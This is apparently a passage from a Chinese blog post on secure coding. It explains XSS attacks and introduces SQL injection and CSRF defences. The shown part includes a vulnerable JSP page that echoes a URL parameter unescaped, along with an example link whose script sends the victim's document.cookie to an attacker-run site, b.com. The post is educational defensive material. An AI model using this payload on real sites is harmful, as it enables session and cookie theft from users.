资深程序员之路(1)--如何保证代码是没安全漏洞的

最新推荐文章于 2025-05-12 21:57:16 发布

Eshine_Lee

最新推荐文章于 2025-05-12 21:57:16 发布

阅读量5.4k

点赞数

CC 4.0 BY-SA版权

分类专栏：综合文章标签：安全漏洞攻击防御

本文链接：https://blog.youkuaiyun.com/lyx_zhl/article/details/78016149

本文探讨了资深程序员在竞标大型项目时，如何确保代码无安全漏洞，包括XSS、SQL注入和CSRF攻击的预防。介绍了XSS的DOM Based XSS和Stored XSS类型，以及防御手段如过滤体系和HTML编码。接着讨论了SQL注入的原理和防御措施，如存储过程和正则表达式过滤。最后讲解了CSRF攻击的概念、原理和防御策略，包括验证HTTP Referer字段、添加token验证和自定义HTTP头属性。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

一个偶然的机会需要竞标一个大项目，需要参加甲方的资深架构师面试，事先有一点准备，如何保证代码是没安全漏洞的，如何保证代码是clean的，要了解设计模式，能画出一个UML class图，如何做持续集成和部署，agile开发
上面的这些对于大多数程序员可能完全涉及不到，这些更多是概念和习惯层面的，可以区分优质的程序还是入门的。还了解到面试官是个外国人需要英语面试，压力更大一些。当然这些并不包含资深程序员应该了解的全部，更不代表了解了这些就能做项目，事实上即便不了解这些也同样能做开发，但如果面对世界五百强等有安全要求风险要求合规要求的，就很有必要掌握了。

这里逐个说一下，先从代码漏洞（Security Flaw，Security vulnerability）开始，代码安全主要涉及XSS, SQL注入检查, CSRF。

XSS攻击
XSS又称CSS，全称Cross SiteScript，跨站脚本攻击，是Web程序中常见的漏洞，XSS属于被动式且用于客户端的攻击方式，所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码，当其它用户浏览该网站时，这段HTML代码会自动执行，从而达到攻击的目的。如，盗取用户Cookie、破坏页面结构、重定向到其它网站等。攻击之前，我们先找到一个存在XSS漏洞的网站，XSS漏洞分为两种，一种是DOM Based XSS漏洞，另一种是Stored XSS漏洞。理论上，所有可输入的地方没有对输入数据进行处理的话，都会存在XSS漏洞，漏洞的危害取决于攻击代码的威力，攻击代码也不局限于script。

DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击，该攻击特点是中招的人是少数人。

场景一：
当我登录a.com后，我发现它的页面某些内容是根据url中的一个叫content参数直接显示的，猜测它测页面处理可能是这样，其它语言类似：

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS测试</title>

    </head>

    <body>

       页面内容：<%=request.getParameter("content")%>

    </body>

</html>

  我知道了Tom也注册了该网站，并且知道了他的邮箱(或者其它能接收信息的联系方式)，我做一个超链接发给他，超链接地址为：http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>，当Tom点击这个链接的时候(假设他已经登录a.com)，浏览器就会直接打开b.com，并且把Tom在a.com中的cookie信息发送到b.com，b.com是我搭建的网站，当我的网站接收到该信息时，我就盗取了Tom在a.com的cookie信息，cookie信息中可能存有登录密码，攻击成功！这个过程中，受害者只有Tom自己。那当我在浏览器输入a.com?content=<script>alert(“xss”)</script>，浏览器展示页面内